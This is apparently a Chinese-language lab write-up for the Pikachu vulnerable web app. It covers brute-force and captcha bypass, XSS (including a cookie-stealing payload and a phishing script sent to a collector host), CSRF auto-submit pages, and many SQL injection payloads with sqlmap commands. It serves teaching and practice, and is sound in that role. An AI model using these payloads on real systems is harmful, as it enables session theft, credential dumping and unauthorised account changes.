环境声明


暴力破解

基于表单

防御方式

该级别对暴力破解无任何防护

漏洞利用

使用Burpsuite抓包后将数据发送到Intrude模块中,将passowrd字段设置为变量

再将密码包导入,点击Start attack开始爆破,等待爆破结束后对比返回数据长度,与其他不同的就是密码了

image-20211110091836157

验证码绕过(on server)

防御方式

该级别通过验证码的方式在服务器上对用户输入的验证码进行判断

漏洞利用

通过抓包将数据发送到Repeater模块后点击Run放行数据,可以看到返回的页面提示用户名或密码错误

Repeater模块中password字段修改为其他字符,再次提交可以发现提示的信息还是用户名或密码错误,而不是验证码错误,可以判断该验证码一直有效

再参考上面的基于表单爆破进行尝试

image-20211110092559866

验证码绕过(on client)

防御方式

该级别通过验证码的方式在客户端上对用户输入的验证码进行判断

漏洞利用

方法1: 同上

方法2: 使用浏览器将JS禁用掉之后就不用输入验证码了,再去使用Burpsuite爆破即可

image-20211110094336042

token防爆破

防御方式

该级别在每次登录中都会携带不同的token,只有token正确才能进行登录,否则就显示 csrf token error

漏洞利用

该级别的漏洞利用与Dvwa一样,不多概述;点此跳转至Dvwa High级别爆破

image-20211110094540360

XSS漏洞

反射型(get)

防御方式

该级别对XSS无任何防护

漏洞利用

1
?message=<script>alert('xss')</script>&submit=submit

image-20211110095340075

反射型(post)

防御方式

该级别对XSS无任何防护

漏洞利用

使用提示的账号密码(admin|123456)登录后再编辑框中输入Payload测试

1
2
<script>alert('xss')</script>
<script>alert(document.cookie)</script> # 弹Cookie

image-20211110095639415

存储型XSS

防御方式

该级别对XSS无任何防护

1
2
3
4
5
6
7
8
9
10
11
if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){

//彩蛋:虽然这是个存储型xss的页面,但这里有个delete的sql注入
$query="delete from message where id={$_GET['id']}";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
echo "<script type='text/javascript'>document.location.href='xss_stored.php'</script>";
}else{
$html.="<p id='op_notice'>删除失败,请重试并检查数据库是否还好!</p>";
}
}

漏洞利用

存储型将留言的内容写入到数据库后,当用户访问该页面就会触发该漏洞

1
<script>alert('xss')</script>

image-20211110095838645

DOM型XSS

防御方式

漏洞利用

直接插入测试的Payload后页面并不会弹窗,观察前端代码发现Payload被包含在a标签的href属性中

1
2
3
4
5
# 正常情况下
<div id="dom"><a href="admin">what do you see?</a></div>

# 插入Payload后
<div id="dom"><a href="<script>alert(" xss')<="" script="">'&gt;what do you see?</a></div>

可以使用onclick属性执行弹窗命令,点击超链接触发

1
2
3
4
#' onclick=alert("xss")>

# 插入Payload后
<div id="dom"><a href="#" onclick="alert(&quot;xss&quot;)">'&gt;what do you see?</a></div>

DOM型XSS-x

防御方式

漏洞利用

与上面的方法一样,可以使用onclick属性执行弹窗命令,点击超链接触发

1
2
3
4
#' onclick=alert("xss")>

# 插入Payload后
<div id="dom"><a href="#" onclick="alert(&quot;xss&quot;)">'&gt;就让往事都随风,都随风吧</a></div>

XSS之盲打

防御方式

漏洞利用

盲打不是一种漏洞类型,而是一种攻击场景

在留言框或姓名中插入Payload测试,根据提示登录到后台查看留言的信息,直接触发XSS

1
2
/vul/xss/xssblind/admin_login.php
admin | 123456

image-20211110102056159

获取管理员Cookie

使用Pikachu自带的XSS平台构造Payload,获取管理员登录的Cookie

1
2
3
4
5
# XSS后台地址
/pkxss/pkxss_login.php

# Cookie收集的Paylaod
<script>document.location='http://192.168.132.200:8000/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

插入上方的Payload后模拟管理员登录留言板后台,从而触发XSS漏洞

image-20211110104255806

钓鱼攻击

需要先修改配置文件pkxss/xfish/fish.php

1
2
// 将下方的地址改为你的IP地址 
header("Location: http://192.168.132.200:8000/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}

再将下方的Payload插入到留言板中,等用户访问留言板时会弹出认证的窗口,输入账号密码后就会发送到后台中

1
2
# Payload
<script src="http://192.168.132.200:8000/pkxss/xfish/fish.php"></script>

image-20211110161535939

XSS之过滤

防御方式

过滤掉了<script

1
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);

漏洞利用

1
2
3
4
5
6
# 大小写绕过
<sCrIPT>AleRt('XsS')</sCrIPt>

# 使用其他的Payload
<img src="" onerror=alert('xss')>
<body onload=alert('XSS')>

XSS之htmlspecialchars

防御方式

将一些字符都转换为实体标签,如< 转换为&lt;

漏洞利用

htmlspecialchars() 是PHP里面把预定义的字符转换为HTML实体的函数,被转换的字符如下

1
2
3
4
5
# 插入下方字符时
"<'>#?

# 被转换后的代码
<a href="&quot;<" &gt;#?'="">"&lt;'&gt;#?</a>

根据上方返回的信息可以看到字符 " < >都被转换成了HTML实体函数,但字符'并未被转化(默认不对'进行处理)

插入的字符都会被包裹在a标签的href属性里,可以使用onclick属性执行弹窗命令

1
2
3
4
5
6
7
8
# 正常代码
<a href="1">1</a>

# Payload
' onclick=alert(/xss/) ' # 前后的'用于闭合a标签的href属性

# 插入Payload后
<a href="" onclick="alert(/xss/)" ''="">' onclick=alert(/xss/) '</a>

XSS之href输出

防御方式

如果输出的信息为www.baidu.com时则正常输出,反之则将输入的值使用htmlspecialchars()函数进行转换

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
}
if($_GET['message'] == 'www.baidu.com'){
$html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
}else {
//输出在a标签的href属性里面,可以使用javascript协议来执行js
//防御:只允许http,https,其次在进行htmlspecialchars处理
$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
}
}

漏洞利用

根据源码中的提示可以使用javascript协议来执行js,当点击超链接时会执行该js脚本实现弹窗

1
2
3
4
javascript:alert(/test/)

# 前端代码如下
<a href="javascript:alert(/test/)"> 阁下自己输入的url还请自己点一下吧</a>

XSS之js输出

防御方式

漏洞利用

当在编辑框中输入Hello时网页的JS代码如下显示,输入的值被包含在变量ms

1
2
3
4
5
6
7
8
9
10
11
<script>
$ms='Hello';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>

通过上方代码构造如下Payload,第一个</script>标签用于闭合上面的标签

1
</script><script>alert('xss')</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
# 闭合后的前端代码如下
<script>
$ms='</script>
<script>alert('xss')</script> # 这里的script被执行了
';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}

CSRF

GET

防御方式

漏洞利用

根据提示中的账号密码登录账号后,在修改个人信息页面将信息进行修改抓包分析

可以看到修改资料的请求使用GET直接发送的

1
/vul/csrf/csrfget/csrf_get_edit.php?sex=boya&phonenum=18626545453a&add=chaina&email=vince%40pikachu.coma&submit=submit 

image-20211111154540683

构造如下Payload后,当用户使用同一个浏览器访问构造的URL后浏览器就会携带网站的Cookie,并自动提交表单中预设的个人信息,导致个人信息被修改

1
2
3
<img src="http://192.168.132.200:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=test&phonenum=123456789&add=test&email=test&submit=submit" border="0" style="display:none;">
<h1>404</h1>
<h2>file not found.</h2>

image-20211111155232487

POST

防御方式

漏洞利用

与GET提交类似,通过抓包可以看到POST提交的输入如下

1
sex=test&phonenum=123456789&add=test&email=test&submit=submit

构造如下Payload后,当用户使用同一个浏览器访问构造的URL后浏览器就会携带网站的Cookie,并自动提交表单中预设的个人信息,导致个人信息被修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body><form method="post" action="http://192.168.132.200:8000/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="giao" />
<input id="phonenum" type="text" name="phonenum" value="123654789" />
<input id="add" type="text" name="add" value="giao" />
<input id="email" type="text" name="email" value="giao" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

image-20211111160513331

Token

防御方式

当修改信息时需要校验网页中的token信息,token信息都时随机生成的,且每次修改资料token值都会发生改变,该机制暂时无法绕过(无法知晓前端Token值)

漏洞利用

暂无

SQL-Inject

数字型注入

防御方式

该级别对Sql注入无任何防护

1
$query="select username,email from member where id=$id";

漏洞利用

判断注入类型

1
2
3
4
5
6
id=1'		# 异常
id=1# # 正常
id=1 and 1=1 # 正常
id=1 and 1=2 # 异常

// 该注入类型为数字型注入

image-20211112152959456

猜字段数

1
2
3
4
id=1 order by 2		# 正常
id=1 order by 3 # 异常

// 共有两个字段

查询数据库名

1
2
3
4
5
6
7
8
9
10
id=0 union select 1,database()
//返回数据库名为pikachu

# SQL语句如下
mysql> select username,email from member where id=0 union select 1,database();
+----------+---------+
| username | email |
+----------+---------+
| 1 | pikachu |
+----------+---------+

查询表名

1
2
3
4
5
6
7
8
9
10
id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
//返回表名有 httpinfo,member,message,users,xssblind

# SQL语句如下
mysql> select username,email from member where id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database();
+----------+----------------------------------------+
| username | email |
+----------+----------------------------------------+
| 1 | httpinfo,member,message,users,xssblind |
+----------+----------------------------------------+

查询字段名

1
2
3
4
5
6
7
8
9
10
11
# users表
id=0 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
//该表下有字段id,username,password,level

# SQL语句如下
mysql> select username,email from member where id=0 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';
+----------+----------------------------+
| username | email |
+----------+----------------------------+
| 1 | id,username,password,level |
+----------+----------------------------+

查询内容

1
2
3
4
5
6
7
8
9
10
# users表下的username,password字段内容
id=0 union select group_concat(username),group_concat(password) from users

# SQL语句如下
mysql> select username,email from member where id=0 union select group_concat(username),group_concat(password) from users;
+--------------------+----------------------------------------------------------------------------------------------------+
| username | email |
+--------------------+----------------------------------------------------------------------------------------------------+
| admin,pikachu,test | e10adc3949ba59abbe56e057f20f883e,670b14728ad9902aecba32e22fa4f6bd,e99a18c428cb38d5f260853678922e03 |
+--------------------+----------------------------------------------------------------------------------------------------+

image-20211112155301608

字符型注入

防御方式

该级别对SQL注入无任何防护

1
$query="select id,email from member where username='$name'";

漏洞利用

判断注入类型

1
2
3
4
5
6
7
?name=vince'		# 返回异常
?name=vince" # 返回正常
?name=vince'%23 # 返回正常
?name=vince' and '1'='1 # 返回正常
?name=vince' and '1'='2 # 返回异常

//该注入类型为字符型,且闭合符号为 '

将数字型的Payload变形一下就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 猜字段数
?name=vince' order by 2%23

# 查询数据库名
?name=vince' union select 1,database()%23

# 查询表名
?name=vince' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

# 查询字段名
?name=vince' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'%23

# 查询字段内容
?name=vince' union select group_concat(username),group_concat(password) from users%23

image-20211112163428856

搜索型注入

防御方式

该级别对SQL注入无任何防护

1
$query="select username,id,email from member where username like '%$name%'";

漏洞利用

根据题目提示的 “如果记不住用户名,输入用户名的一部分搜索的试试看” 可以了解到大概的SQL语句

1
select xx,xx,xx from xx where xxx like '%输入的值%';

继续判断该级别的SQL闭合符号

1
2
3
4
5
6
7
?name=a%"%23		# 搜索异常
?name=a%'%23 # 搜索正常
?name=%'%23 # 搜索异常(所有用户信息全部出现)
?name=a%')%23 # 异常


//可以确定该查询的闭合为 '%xx%'

Payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 猜字段数
?name=a%' order by 3%23

# 查询数据库名(为了方便观察,把查询的字符改成其他)
?name=1%' union select 1,2,database()%23

# 查询表名
?name=1%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

# 查询字段名
?name=1%' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'%23

# 查询字段内容
?name=1%' union select 1,group_concat(username),group_concat(password) from users%23

image-20211112165158223

xx型注入

防御方式

该级别对SQL注入无任何防护

1
$query="select id,email from member where username=('$name')";

漏洞利用

xx型不是一种注入类型,只是修改了上方的闭合符号而已

根据题目可以了解到大概的SQL语句

1
select xxx,xxx,xxx from xxx where xxx='xx';

继续判断该级别的SQL闭合符号

1
2
3
4
5
6
7
?name=allen			# 显示正常
?name=allen'%23 # 显示异常
?name=allen"%23 # 显示异常
?name=allen')%23 # 显示正常
?name=allen")%23 # 显示异常

//可以确定该级别的闭合符号为 ('xxx')

对上题的Payload进行变形即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 猜字段数
?name=a') order by 2%23

# 查询数据库名
?name=1') union select 1,database()%23

# 查询表名
?name=1') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

# 查询字段名
?name=1') union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'%23

# 查询字段内容
?name=1') union select group_concat(username),group_concat(password) from users%23

inster注入

防御方式

该级别对SQL注入无任何防护

1
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";

相关函数

updatexml() 函数将xml_target中用xpath路径匹配到xml片段后应new_xml替换,返回更改后的xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 语法
updatexml(xml_target,xpath,new_xml)

# 示例
mysql> select updatexml(1,concat(0x7e,(select database()),0x7e),1); # 查询数据库名(0x7e为十六进制的~)
ERROR 1105 (HY000): XPATH syntax error: '~pikachu~'

mysql> select updatexml(1,concat(0x7e,(select user()),0x7e),1); # 查询用户名
ERROR 1105 (HY000): XPATH syntax error: '~root@192.168.132.222~'

mysql> select updatexml(1,(select user()),1); # 不使用concat()时查询数据不完整
ERROR 1105 (HY000): XPATH syntax error: '@192.168.132.222'

mysql> select updatexml(1,concat(0x7e,(select version()),0x7e),1); # 查询数据库版本号
ERROR 1105 (HY000): XPATH syntax error: '~5.5.62-log~'

extractValue() 函数返回xml_fragxpath路径匹配到的xml片段

1
2
# 语法
extractValue(xml_frag,xpath)

漏洞利用

使用BurpSuite抓包后可以看到注册时提交的输入如下

1
2
3
4
5
# 编码前
username=test&password=123456&sex=男&phonenum=12312312311&email=123@qq.com&add=北京&submit=submit

# 编码后
username=test&password=123456&sex=%E7%94%B7&phonenum=12312312311&email=123%40qq.com&add=%E5%8C%97%E4%BA%AC&submit=submit

可以推算出注册用户时大概的SQL语句如下:

1
insert into 表名(用户名,密码,性别,电话,地址,住址) values(数据1,数据2,数据3,数据4,数据5,数据6);

构造如下Payload测试是否存在SQL注入

1
2
3
4
5
username=test','123','','','','')%23&password=123&sex=&phonenum=&email=&add=&submit=submit

# 返回注册成功,该处存在SQL注入
# SQL语句如下
insert into member(username,pw,sex,phonenum,email,address) values('test','123','','','','');

猜数据库名

1
2
3
4
5
username=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or'

# SQL语句如下
mysql> insert into member(username,pw,sex,phonenum,email,address) values('a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '','','','','');
ERROR 1105 (HY000): XPATH syntax error: '~pikachu~'

image-20211116094412744

猜数据表名

1
2
# 使用group_concat()时因数据过长所以显示不完全
username=a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or'

image-20211116101549019

1
2
# 使用limit限制查询数量,每次查询一条结果
username=a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) or'

image-20211116101759825

猜字段名

1
username=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1) or'

猜字段内容

1
2
3
4
5
# 查询用户名
username=a' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) or'

# 查询密码
username=a' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1) or'

image-20211116102540911

1
2
# 查询密码时最后一位显示不完全,可能是因为长度太长,将~替换为.就可以显示出来
username=a' and updatexml(1,concat('.',(select password from users limit 0,1)),1) or'

image-20211116103328272

Sqlmap Payload

1
sqlmap -u "http://192.168.132.200:8000/vul/sqli/sqli_iu/sqli_reg.php" --data="username=admin&password=123&sex=&phonenum=&email=&add=&submit=submit" -p username

update注入

防御方式

该级别对SQL注入无任何防护

1
2
# update注入
$query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'";

使用BurpSuite抓包后可以看到修改用户信息时提交的输入如下

1
sex=nan&phonenum=111&add=11&email=11&submit=submit

可以推算出修改用户信息时大概的SQL语句如下:

1
update 表名 set sex=数据1,phonenum=数据2,add=数据3,email=数据4 where username=用户名

猜一系列信息(与Insert一样)

1
2
3
4
5
6
# 猜数据库
sex=nan' or updatexml(1,concat('~',(select database()),'~'),1) or'

# 猜字段信息
sex=' or updatexml(1,concat('~',(select username from users limit 0,1),'~'),1) or '
sex=' or updatexml(1,concat('~',(select password from users limit 1,1),'~'),1) or '

image-20211116150633588

delete注入

防御方式

该级别对SQL注入无任何防护

1
$query="delete from message where id={$_GET['id']}";

漏洞利用

使用BurpSuite抓包后可以看时提交的输入如下

1
2
# 通过GET方式提交
id=62

可以推算出删除留言时大概的SQL语句如下:

1
delete from 表名 where id=xx

与insert注入类似,同样使用到updatexml()方法

猜数据库名

1
2
3
4
5
?id=66 and updatexml(1,concat('~',(select database()),'~'),1)

# SQL语句如下
mysql> delete from message where id=66 and updatexml(1,concat('~',(select database()),'~'),1);
ERROR 1105 (HY000): XPATH syntax error: '~pikachu~'

猜字段内容

1
?id=66 and updatexml(1,concat('~',(select username from users limit 0,1),'~'),1)

image-20211116152830899

http header注入

防御方式

该级别对SQL注入无任何防护

1
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";

漏洞利用

使用题目提供的用户名密码(admin|123456)登录后可以看到该页面将http header信息记录了下来

根据页面信息可以猜出大概的SQL语句

1
insert 表名(字段1,字段2,字段3,字段4) values(数据1,数据2,数据3,数据4);

可以通过修改http头部信息中的User-AgentAccept字段来实现SQL注入,使用到的方法与insert注入类似

猜数据库名

1
2
3
4
5
User-Agent: ' or updatexml(1,concat('~',(select database()),'~'),1) or '

# SQL语句如下
mysql> insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('1' or updatexml(1,concat('~',(select database()),'~'),1) or '');
ERROR 1105 (HY000): XPATH syntax error: '~pikachu~'

猜字段内容

1
User-Agent: x' or updatexml(1,concat('~',(select username from users limit 0,1),'~'),1) or '

image-20211116171748141

1
Accept: x' or updatexml(1,concat('~',(select username from users limit 0,1),'~'),1) or '

image-20211116171837541

布尔盲注

防御方式

该级别对SQL注入无任何防护

1
$query="select id,email from member where username='$name'";

漏洞利用

判断注入

1
2
3
4
5
?name=lili		# 回显正常(可以查询到数据)
?name=lili' # 回显异常(查询不到数据)
?name=lili'%23 # 回显正常(可以查询到数据)

// 得出该处存在SQL注入,且闭合符号为 '

猜数据库名长度

当数据库名长度大于等于7时回显正常,说明数据库名长度为7

1
2
3
4
5
6
7
8
9
10
?name=lili' and length(database())>=7	# 回显正常
?name=lili' and length(database())>=8 # 回显异常

# SQL语句如下
mysql> select id,email from member where username='lili' and length(database())>=7;
+----+------------------+
| id | email |
+----+------------------+
| 7 | lili@pikachu.com |
+----+------------------+

猜数据库名

当数据库名第一个字符的Ascii码为112时回显正常,为113时回显异常,可以得出数据库名第一个字符的Ascii码为112,Ascii转字符串为 p ,数据库名的其他字符以此类推,得出数据库名pikachu

1
2
3
4
5
6
7
8
9
10
?name=lili' and ascii((select database() limit 0,1))>=112%23	# 正常
?name=lili' and ascii((select database() limit 0,1))>=113%23 # 异常

# SQL语句如下
mysql> select id,email from member where username='lili' and ascii((select database() limit 0,1))>=112;
+----+------------------+
| id | email |
+----+------------------+
| 7 | lili@pikachu.com |
+----+------------------+

猜数据表个数

猜当前数据库表个数为6张时回显异常,为5张时回显正常,可以得出当前数据库下有5个数据表

1
2
3
4
5
6
7
8
9
10
11
12
13
?name=lili' and (select count(table_name) from information_schema.tables where table_schema=database())>=6%23
?name=lili' and (select count(table_name) from information_schema.tables where table_schema=database())>=5%23

# SQL语句如下
mysql> select id,email from member where username='lili' and (select count(table_name) from information_schema.tables where table_schema=database())>=6;
Empty set (0.00 sec)

mysql> select id,email from member where username='lili' and (select count(table_name) from information_schema.tables where table_schema=database())>=5;
+----+------------------+
| id | email |
+----+------------------+
| 7 | lili@pikachu.com |
+----+------------------+

猜数据表名长度

猜第一张数据表表名长度为9时回显异常,为8时回显正常,得出第一张数据表的表名长度为8

1
2
?name=lili' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>=9%23
?name=lili' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>=8%23

猜数据表名

猜第一张表表名的第一个字符的Ascii码大于等于103时回显异常,大于等于104时回显正常,得出第一张表表名的第一个字符Ascii码为104,转为字符串为h,按照顺序猜出余下的表名(httpinfo | member | message | users | xssblind

1
2
3
4
5
6
7
8
# 猜第一张表表名的第一个字符串
?name=lili' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>=105%23
?name=lili' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>=104%23

# 猜第一张表表名的第二个字符串
?name=lili' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>=116%23


1
2
3
4
5
# 猜第二张表表名的第一个字符串
?name=lili' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>=109%23

# 猜第二张表表名的第二个字符串
?name=lili' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>=101%23

猜字段个数

users表中有5个字段时回显异常,有4个字段数时回显正常,得出users表下有4个字段,按顺序将其他表的字段个数猜出即可

1
2
3
4
5
6
7
8
9
10
11
12
13
?name=lili' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>=5%23
?name=lili' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>=4%23

# SQL语句如下
mysql> select id,email from member where username='lili' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>=5;
Empty set (0.01 sec)

mysql> select id,email from member where username='lili' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>=4;
+----+------------------+
| id | email |
+----+------------------+
| 7 | lili@pikachu.com |
+----+------------------+

猜字段名长度

猜第一个字段名长度为3个字符时回显异常,为2个字符时回显正常,得出数据表users的第一个字段名长度为2个字符,按顺序将其他字段的长度猜出即可

1
2
?name=lili' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>=2%23
?name=lili' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>=2%23

猜字段名

users表下的第一个字段的第一个字符的ascii码为106时回显异常,为105时回显正常,得出第一个字段的第一个字符ascii码为105,转为字符串为 i ,按顺序将其他字段名猜出即可 (id | username | password |level)

1
2
?name=lili' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>=106%23
?name=lili' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>=105%23

猜字段内容个数

users表下的字段id内容的个数大于等于3时返回异常,大于等于四时返回正常,得出该字段下一共有3个内容

1
2
?name=lili' and (select count(id) from users)>=3	# 正常
?name=lili' and (select count(id) from users)>=4 # 异常

猜字段内容长度

1
2
3
# 数据表users下的username字段的第一、二行数据内容长度
?name=lili' and length((select username from users limit 0,1))>=5%23 # 第一行
?name=lili' and length((select username from users limit 0,1))>=7%23 # 第二行

猜字段内容

按照顺序以此类推猜出所有的字段内容

1
2
3
4
5
6
7
# 猜username字段的第一行内容的第一、二个字符串
?name=lili' and ascii(substr((select username from users limit 0,1),1,1))>=97%23 # 正常
?name=lili' and ascii(substr((select username from users limit 0,1),2,1))>=100%23 # 正常

# 猜username字段的第二行内容的第一、二个字符串
?name=lili' and ascii(substr((select username from users limit 0,1),1,1))>=97%23 # 正常
?name=lili' and ascii(substr((select username from users limit 0,1),2,1))>=100%23 # 正常

Sqlmap Payload

1
sqlmap -u "http://192.168.132.200:8000/vul/sqli/sqli_blind_b.php?name=lili&submit=%E6%9F%A5%E8%AF%A2" technique B --dbs

时间盲注

防御方式

该级别对SQL注入无任何防护

1
$query="select id,email from member where username='$name'";

漏洞利用

当输入任何数据后返回的信息都是同一个时,可以尝试时间盲注,同过网页加载的时间判断是否存在注入

判断注入

测试闭合符号为"时页面返回时间正常,当测试闭合符号为'时页面返回时间为2秒,则该页面存在时间盲注且闭合符号为'

1
2
?name=allen" and sleep(2)%23		# 返回时间4毫秒
?name=allen' and sleep(2)%23 # 返回时间2秒

image-20211122090236313

猜数据库名长度

猜数据库名长度为8个字符时,如果条件成立则延时2秒返回查询结果,以下返回的时间可以判断该数据库长度为个字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
?name=allen' and if(length(database())>=8,sleep(2),1)%23		# 返回时间4毫秒
?name=allen' and if(length(database())>=7,sleep(2),1)%23 # 返回时间2

# SQL语句如下
mysql> select id,email from member where username='allen' and if(length(database())>=8,sleep(2),1);
+----+-------------------+
| id | email |
+----+-------------------+
| 2 | allen@pikachu.com |
+----+-------------------+
1 row in set (0.00 sec)

mysql> select id,email from member where username='allen' and if(length(database())>=7,sleep(2),1);
Empty set (2.00 sec)

image-20211122091104589

猜数据库名

与布尔盲注类似,将查询的语句套入if条件语句中,查看页面返回的时间即可,不多概述

1
2
3
4
?name=allen' and if(ascii(substr(database(),1,1))>=112,sleep(2),1)%23	# 第一位112
?name=allen' and if(ascii(substr(database(),2,1))>=105,sleep(2),1)%23 # 第二位105

// 按顺序猜出7位数的数据库名,得到库名为pikachu

猜数据表

1
2
3
4
5
6
7
8
9
10
11
12
# 猜数据表个数
?name=allen' and if((select count(table_name) from information_schema.tables where table_schema=database())>=5,sleep(2),1)%23
// 得出该数据库的数据表的个数为5个

# 猜表名长度
?name=allen' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>=8,sleep(2),1)%23 # 第一张表表名长度为8
?name=allen' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>=6,sleep(2),1)%23 # 第二张表表名长度为6
// 按顺序将所有表的表名长度猜出来 (8|6|7|5|8)

# 猜表名
?name=allen' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>=104,sleep(2),1)%23
// 通过修改limit、substr值来限制查询位置与个数,按顺序猜出每个表的表名(httpinfo|member|message|users|xssblind)

猜字段

1
2
3
4
5
6
7
8
9
10
11
# 猜字段个数
?name=allen' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)>=4,sleep(2),1)%23
// 按顺序猜出所有表的字段个数(6|7|3|4|4)

# 猜字段名长度
?name=allen' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>=2,sleep(2),1)%23
// 按顺序猜出所有表的所有字段名长度 (users: 2|8|8|5)

# 猜字段名
?name=allen' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>104,sleep(2),1)%23
// 按顺序猜出所有表的所有字段名 (users: id|username|password|level)

猜内容

1
2
3
4
5
6
7
8
9
10
11
# 猜内容个数
?name=allen' and if((select count(id) from users)>=3,sleep(2),1)%23
// 按顺序猜出所有数据表所有字段的内容个数

# 猜内容长度
?name=allen' and if(length((select username from users limit 0,1))>=5,sleep(2),1)%23
// 按顺序猜出所有数据表的所有所有字段内容的长度

# 猜字段内容
?name=allen' and if(ascii(substr((select username from users limit 0,1),1,1))>=97,sleep(2),1)%23
// 按顺序猜出所有字段的内容

宽字节注入

当后端对用户输入做了转义时,如将'转义成\'时,这使得'无法进行闭合数据库中的语句

防御方式

该级别对SQL注入无任何防护

1
2
3
4
5
$name = escape($link,$_POST['name']);
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
//设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题
$set = "set character_set_client=gbk";
execute($link,$set);

漏洞利用

测试注入

1
2
3
4
5
name=1%df' or 1=1#
name=1%df' order by 2# # 正常
name=1%df' order by 3# # 异常

// 该页面存在宽字节注入,且闭合符号为' ,字段数为2

image-20211122173121170

猜数据库名

1
2
name=1%df' union select database(),2#
//得到数据库名为pikachu

猜表名

1
2
name=1%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2#
//修改limit得到表名 httpinfo,member,message,users,xssblind

猜字段

1
2
name=1%df' union select (select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)),2#
//修改limit得到users表下字段有 id,username,password,level

猜内容

1
2
3
name=1%df' union select (select group_concat(username) from users),(select group_concat(password) from users)#
// admin,pikachu,test
// e10adc3949ba59abbe56e057f20f883e,670b14728ad9902aecba32e22fa4f6bd,e99a18c428cb38d5f260853678922e03

image-20211122173810181

Sqlmap Payload

1
sqlmap -u "http://192.168.1.200:8000/vul/sqli/sqli_iu/sqli_reg.php" --data="username=admin&password=123&sex=&phonenum=&email=&add=&submit=submit" -p username

RCE

常用Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
